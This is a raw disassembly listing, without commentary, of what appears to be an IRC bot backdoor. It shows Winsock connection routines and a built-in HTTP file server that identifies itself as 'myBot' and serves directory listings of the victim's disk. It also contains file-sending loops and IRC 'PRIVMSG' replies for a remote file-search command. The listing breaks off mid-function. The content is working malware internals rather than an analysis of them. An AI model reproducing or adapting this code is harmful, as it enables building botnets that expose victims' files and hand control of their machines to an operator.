8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 0E8905780h, 716A2B36h dd 0B360A166h, 6583004Ch, 665000B8h, 2B445C7h, 2415FF00h dd 66004CB6h, 8DB64589h, 106AB445h, 0E8905750h, 716A5482h dd 77DC085h, 60E9C38Bh, 6A000005h, 83E8570Ah, 90716A73h dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 0E85040FCh, 716A2DF4h dd 0FFF88390h, 50E840Fh, 0FF330000h, 89FC7539h, 0C57C087Dh dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h dd 0E85750FFh, 17C76h, 840FC085h, 4BAh, 75F87D3Bh, 0F0458D7Ah dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h dd 56FC4589h, 9C68156Ah, 5000433Eh, 3BE9D3FFh, 56000004h dd 0FD60858Dh, 646AFFFFh, 0E8905750h, 716A6B18h, 527FC085h dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah, 8D848D1Bh dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h dd 0EC72CA3Bh, 0FDD48DFFh, 0E857FFFFh, 716A2EA5h, 3D4E990h dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh, 0FD60858Dh dd 9468FFFFh, 5000433Eh, 0DA58E8h, 50858D00h, 68FFFFFFh dd 433E8Ch, 0D472E850h, 0C4830000h, 75C08518h, 166A560Dh dd 433E7468h, 82E900h, 858D0000h, 0FFFFFF50h, 433E6C68h dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 433E5468h dd 8D61EB00h, 0FFFF5085h, 3E4C68FFh, 0E8500043h, 0D42Ch dd 59C08559h, 6A560A75h, 3E3C680Dh, 40EB0043h, 0FF50858Dh dd 3468FFFFh, 5000433Eh, 0D40BE8h, 0C0855900h, 560A7559h dd 2068106Ah, 0EB00433Eh, 50858D1Fh, 68FFFFFFh, 433E1Ch dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h, 433DFCh dd 2F1E957h, 0F4BF0000h, 8D00433Dh, 0FFFF5085h, 0E85057FFh dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 433DF068h dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh, 433DDC68h dd 2B2E900h, 858D0000h, 0FFFFFF50h, 8DE85057h, 590000D3h dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433DD8h, 0D376E850h dd 85590000h, 0D7559C0h, 68136A56h, 433DC4h, 27BE9h, 50858D00h dd 68FFFFFFh, 433DBCh, 0D352E850h, 85590000h, 347559C0h dd 90BE0A6Ah, 5900433Dh, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h, 50FFFFFEh dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 8868FFFFh dd 5000433Dh, 0D307E8h, 0C0855900h, 6A2A7559h, 3D70BE05h dd 8D590043h, 0FFFF38BDh, 66A5F3FFh, 858D50A5h, 0FFFFFF38h dd 51E8A450h, 590000C2h, 38858D50h, 0EBFFFFFFh, 50858DB2h dd 68FFFFFFh, 433D68h, 0D2C6E850h, 85590000h, 850F59C0h dd 0B6h, 0FD2C858Dh, 8D50FFFFh, 0FFFF0485h, 458D50FFh dd 458D50ECh, 458D50E8h, 458D50E0h, 858D50D8h, 0FFFFFD60h dd 433D4068h, 62E85000h, 8D0000D8h, 0FFFF0485h, 8AE850FFh dd 8B0000C9h, 2C858DF8h, 50FFFFFDh, 0C97CE8h, 0F4458900h dd 858D326Ah, 0FFFFFF04h, 81E85056h, 830000C7h, 858D34C4h dd 0FFFFFF04h, 57F475FFh, 433D3868h, 5FE85000h, 6A0000CAh dd 4858D10h, 56FFFFFFh, 0CF8FE850h, 0C4830000h, 0F445891Ch dd 50EC458Dh, 50E8458Dh, 50E0458Dh, 50D8458Dh, 68C4458Dh dd 433D2Ch, 0CA2CE850h, 0C4830000h, 1D6A5618h, 433D0C68h dd 11EE900h, 858D0000h, 0FFFFFF50h, 433D0468h, 0F5E85000h dd 590000D1h, 0F59C085h, 0E485h, 286A5600h, 433CD868h dd 875FF00h, 75FFD3FFh, 0C4458DF4h, 120E850h, 83590000h dd 0F5901F8h, 0B685h, 0C4458D00h, 20858D50h, 68FFFFF7h dd 433CBCh, 0C9C8E850h, 0C4830000h, 0BCB5390Ch, 75FFFFFBh dd 858D5623h, 0FFFFF720h, 0FBB8B5FFh, 8D50FFFFh, 0FFFB3885h dd 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h, 14C483FFh, 14AE8h dd 1F88300h, 93850Fh, 6A560000h, 3CA46817h, 75FF0043h dd 8DD3FF08h, 8D50C445h, 0FFF72085h, 3C8468FFh, 0E8500043h dd 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh, 0F720858Dh dd 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh, 0F920B5FFh dd 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h, 6256E850h dd 5FF0000h, 4CE130h, 562EEB59h, 6068206Ah, 0EB00433Ch dd 50858D1Fh, 68FFFFFFh, 42D050h, 0D0F6E850h, 85590000h dd 0D7559C0h, 681B6A56h, 433C44h, 0FF0875FFh, 8D646AD3h dd 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh, 3B470CC4h dd 7D89FC7Dh, 18E0F08h, 0E9FFFFFBh, 0FFFFFAC1h, 5F58016Ah dd 0C2C95B5Eh db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 nop call near ptr 71AB3C22h push dword ptr [ebp+8] mov dword_4CE378, eax mov word ptr [ebp-10h], 2 call near ptr 71AB12F8h nop push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CE378 nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40F036 push dword_4CE378 call near ptr 71AB1A6Dh nop nop call near ptr 71AB1836h xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F036: ; CODE XREF: ___:0040F01Ej push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 nop call near ptr 2670000h lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41B4C2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F0D2 test byte ptr [esi+0Ch], 10h jnz short loc_40F0B6 push edi mov edi, 400h loc_40F07E: ; CODE XREF: ___:0040F0B3j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41B11A add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CE378 call near ptr 71AB1AF4h nop push 1 nop call near ptr 2680000h test byte ptr [esi+0Ch], 10h jz short loc_40F07E pop edi loc_40F0B6: ; CODE XREF: ___:0040F076j push esi call sub_41B05B pop ecx push dword_4CE378 call near ptr 71AB1A6Dh nop nop call near ptr 71AB1836h push 1 pop eax loc_40F0D2: ; CODE XREF: ___:0040F070j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0D5 proc near ; DATA XREF: sub_401ACD+2283o ; sub_40BACD+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41B590 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CB624 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CB6A4 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40F4C0 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43E56C[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CB650 cmp eax, 0FFFFFFFFh jz loc_40F4C0 push 7FFFFFFFh push edi call dword_4CB64C cmp eax, 0FFFFFFFFh jz loc_40F4C0 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CB6C0 cmp eax, 0FFFFFFFFh jz loc_40F4C0 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40F1AC: ; CODE XREF: sub_40F0D5+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CB60C cmp eax, 0FFFFFFFFh jz loc_40F4BB xor esi, esi mov [ebp+var_4], esi loc_40F1E2: ; CODE XREF: sub_40F0D5+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CB510 test eax, eax jz loc_40F4A6 cmp esi, [ebp+var_C] jnz short loc_40F264 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CB6B8 cmp eax, 0FFFFFFFFh jz loc_40F4A6 xor ecx, ecx test ebx, ebx jbe short loc_40F236 lea edx, [ebp+var_134] loc_40F22A: ; CODE XREF: sub_40F0D5+15Fj cmp [edx], eax jz short loc_40F236 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40F22A loc_40F236: ; CODE XREF: sub_40F0D5+14Dj ; sub_40F0D5+157j cmp ecx, ebx jnz short loc_40F253 cmp ebx, 40h jnb short loc_40F253 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40F253: ; CODE XREF: sub_40F0D5+163j ; sub_40F0D5+168j cmp eax, [ebp+var_8] jbe loc_40F4A6 mov [ebp+var_8], eax jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F264: ; CODE XREF: sub_40F0D5+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41B590 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CB63C test eax, eax jg short loc_40F2F7 push esi call dword_4CB6BC xor ecx, ecx test ebx, ebx jbe loc_40F4A6 lea eax, [ebp+var_134] loc_40F2B6: ; CODE XREF: sub_40F0D5+1EBj cmp [eax], esi jz short loc_40F2C7 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F2B6 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2C7: ; CODE XREF: sub_40F0D5+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F2EB lea eax, [ebp+ecx*4+var_134] loc_40F2D5: ; CODE XREF: sub_40F0D5+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F2D5 loc_40F2EB: ; CODE XREF: sub_40F0D5+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2F7: ; CODE XREF: sub_40F0D5+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41B590 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41AFE0 add esp, 10h test eax, eax jbe loc_40F4A6 loc_40F325: ; CODE XREF: sub_40F0D5+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40F3CA mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_40F39E lea eax, [ebp+var_18F0] push eax call sub_41AFE0 cmp eax, 5 pop ecx jbe short loc_40F39E mov eax, offset asc_42D0F0 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx pop ecx push eax call sub_41B900 pop ecx pop ecx push eax call sub_41C0F4 push eax lea eax, [ebp+var_23C] push eax call sub_41BEB0 add esp, 10h jmp short loc_40F3B5 ; --------------------------------------------------------------------------- loc_40F39E: ; CODE XREF: sub_40F0D5+27Fj ; sub_40F0D5+291j lea eax, [ebp+var_18F0] push offset asc_433EDC ; "\r\n" push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40F3E9 loc_40F3B5: ; CODE XREF: sub_40F0D5+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 0Ch or esi, 0FFFFFFFFh loc_40F3CA: ; CODE XREF: sub_40F0D5+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41AFE0 cmp [ebp+arg_0], eax pop ecx jb loc_40F325 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F3E9: ; CODE XREF: sub_40F0D5+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40F433 lea eax, [ebp+var_134] loc_40F3F5: ; CODE XREF: sub_40F0D5+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40F406 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F3F5 jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F406: ; CODE XREF: sub_40F0D5+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F42A lea eax, [ebp+ecx*4+var_134] loc_40F414: ; CODE XREF: sub_40F0D5+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F414 loc_40F42A: ; CODE XREF: sub_40F0D5+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F433: ; CODE XREF: sub_40F0D5+318j mov esi, [ebp+var_4] loc_40F436: ; CODE XREF: sub_40F0D5+32Fj ; sub_40F0D5+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40F49F lea eax, [ebp+var_360] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40F49F and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CB6C0 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_40F6B3 add esp, 14h jmp short loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F49F: ; CODE XREF: sub_40F0D5+369j ; sub_40F0D5+38Fj push esi call dword_4CB6BC loc_40F4A6: ; CODE XREF: sub_40F0D5+11Dj ; sub_40F0D5+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40F1E2 jmp loc_40F1AC ; --------------------------------------------------------------------------- loc_40F4BB: ; CODE XREF: sub_40F0D5+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40F4C0: ; CODE XREF: sub_40F0D5+6Aj ; sub_40F0D5+92j ... call dword_4CB5B8 push eax lea eax, [ebp+var_8F0] push offset unk_433EB4 push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40F506 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409A72 add esp, 14h loc_40F506: ; CODE XREF: sub_40F0D5+40Cj lea eax, [ebp+var_8F0] push eax call sub_4151AC pop ecx push edi call dword_4CB6BC push [ebp+var_254] call sub_40B412 pop ecx push ebx nop call near ptr 26E0A61h pop edi pop esi pop ebx sub_40F0D5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F530 proc near ; DATA XREF: sub_40F6B3+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41BB20 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41B886 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41B886 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40F596 push offset aTextHtml ; "text/html" jmp short loc_40F59B ; --------------------------------------------------------------------------- loc_40F596: ; CODE XREF: sub_40F530+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40F59B: ; CODE XREF: sub_40F530+64j lea eax, [ebp+var_9C] push eax call sub_41B886 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi nop call near ptr 2750000h lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi nop call near ptr 2740000h lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40F614 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 24h jmp short loc_40F635 ; --------------------------------------------------------------------------- loc_40F614: ; CODE XREF: sub_40F530+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 28h loc_40F635: ; CODE XREF: sub_40F530+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4CB674 cmp [ebp+var_A4], edi jnz short loc_40F675 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_40FFF0 pop ecx pop ecx jmp short loc_40F692 ; --------------------------------------------------------------------------- loc_40F675: ; CODE XREF: sub_40F530+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40F96A add esp, 10h loc_40F692: ; CODE XREF: sub_40F530+143j push [ebp+var_44C] call dword_4CB6BC push [ebp+var_B4] call sub_40B412 pop ecx push edi nop call near ptr 26E0A61h pop edi pop esi sub_40F530 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6B3 proc near ; CODE XREF: sub_40F0D5+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41B590 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40F6E9 push eax push offset aS_3 ; "\\%s" jmp short loc_40F6F2 ; --------------------------------------------------------------------------- loc_40F6E9: ; CODE XREF: sub_40F6B3+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40F6F2: ; CODE XREF: sub_40F6B3+34j lea eax, [ebp+var_10C] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41AFE0 test eax, eax pop ecx jbe short loc_40F78D mov [ebp+arg_8], 2 loc_40F71D: ; CODE XREF: sub_40F6B3+D8j lea eax, [ebp+var_10C] push eax call sub_41AFE0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40F75D cmp [ebp+esi+var_10C], 25h jnz short loc_40F75D cmp [ebp+esi+var_10B], 32h jnz short loc_40F75D cmp [ebp+esi+var_10A], 30h jnz short loc_40F75D inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40F777 ; --------------------------------------------------------------------------- loc_40F75D: ; CODE XREF: sub_40F6B3+7Aj ; sub_40F6B3+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40F76D push 5Ch pop eax jmp short loc_40F770 ; --------------------------------------------------------------------------- loc_40F76D: ; CODE XREF: sub_40F6B3+B3j movsx eax, al loc_40F770: ; CODE XREF: sub_40F6B3+B8j mov [ebp+ebx+var_210], al loc_40F777: ; CODE XREF: sub_40F6B3+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41AFE0 cmp esi, eax pop ecx jb short loc_40F71D loc_40F78D: ; CODE XREF: sub_40F6B3+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_429A94 push eax call sub_41B886 lea eax, [ebp+var_314] push offset asc_42A068 ; "\n" push eax call sub_41C0F4 add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 2680C1Dh push 1 cmp eax, 10h pop esi jz short loc_40F7DE cmp eax, 0FFFFFFFFh jnz short loc_40F7E1 push [ebp+arg_0] jmp loc_40F861 ; --------------------------------------------------------------------------- loc_40F7DE: ; CODE XREF: sub_40F6B3+11Cj mov [ebp+var_4], esi loc_40F7E1: ; CODE XREF: sub_40F6B3+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40F7EE mov [ebp+var_4], esi loc_40F7EE: ; CODE XREF: sub_40F6B3+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40F86C cmp [ebp+arg_C], edi jz short loc_40F860 lea eax, [ebp+var_314] push offset asc_434168 ; "*" push eax call sub_41BEC0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41B886 lea eax, [ebp+var_210] push eax call sub_4100AD add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41B886 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_40F8BB ; --------------------------------------------------------------------------- loc_40F860: ; CODE XREF: sub_40F6B3+152j push ebx loc_40F861: ; CODE XREF: sub_40F6B3+126j call dword_4CB6BC jmp loc_40F963 ; --------------------------------------------------------------------------- loc_40F86C: ; CODE XREF: sub_40F6B3+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call near ptr 271091Eh nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40F8BB lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41B886 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2750C23h push esi mov [ebp+var_330], eax nop call near ptr 2660843h loc_40F8BB: ; CODE XREF: sub_40F6B3+1ABj ; sub_40F6B3+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_434134 push eax call sub_41B886 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B0F6 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43E564[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40F530 push edi push edi nop call near ptr 2680098h mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43E574[ecx], eax jz short loc_40F935 loc_40F923: ; CODE XREF: sub_40F6B3+280j cmp [ebp+var_318], edi jnz short loc_40F963 push 5 call near ptr 2680000h nop jmp short loc_40F923 ; --------------------------------------------------------------------------- loc_40F935: ; CODE XREF: sub_40F6B3+26Ej push ebx call dword_4CB6BC nop call near ptr 268082Fh push eax lea eax, [ebp+var_8C4] push offset unk_4340FC push eax call sub_41B886 lea eax, [ebp+var_8C4] push eax call sub_4151AC add esp, 10h loc_40F963: ; CODE XREF: sub_40F6B3+1B4j ; sub_40F6B3+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_40F6B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F96A proc near ; CODE XREF: sub_401ACD+777Ap ; sub_40F530+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41B590 mov edi, [ebp+arg_0] push offset asc_42A068 ; "\n" push edi call sub_41C0F4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40F9C9 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41B980 add esp, 14h jmp loc_40FAC8 ; --------------------------------------------------------------------------- loc_40F9C9: ; CODE XREF: sub_40F96A+3Aj cmp [ebp+arg_C], ebx push edi jz loc_40FAAE call sub_41AFE0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB674 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB674 push edi call sub_41AFE0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CB674 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 0Ch jmp short loc_40FAC8 ; --------------------------------------------------------------------------- loc_40FAAE: ; CODE XREF: sub_40F96A+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h loc_40FAC8: ; CODE 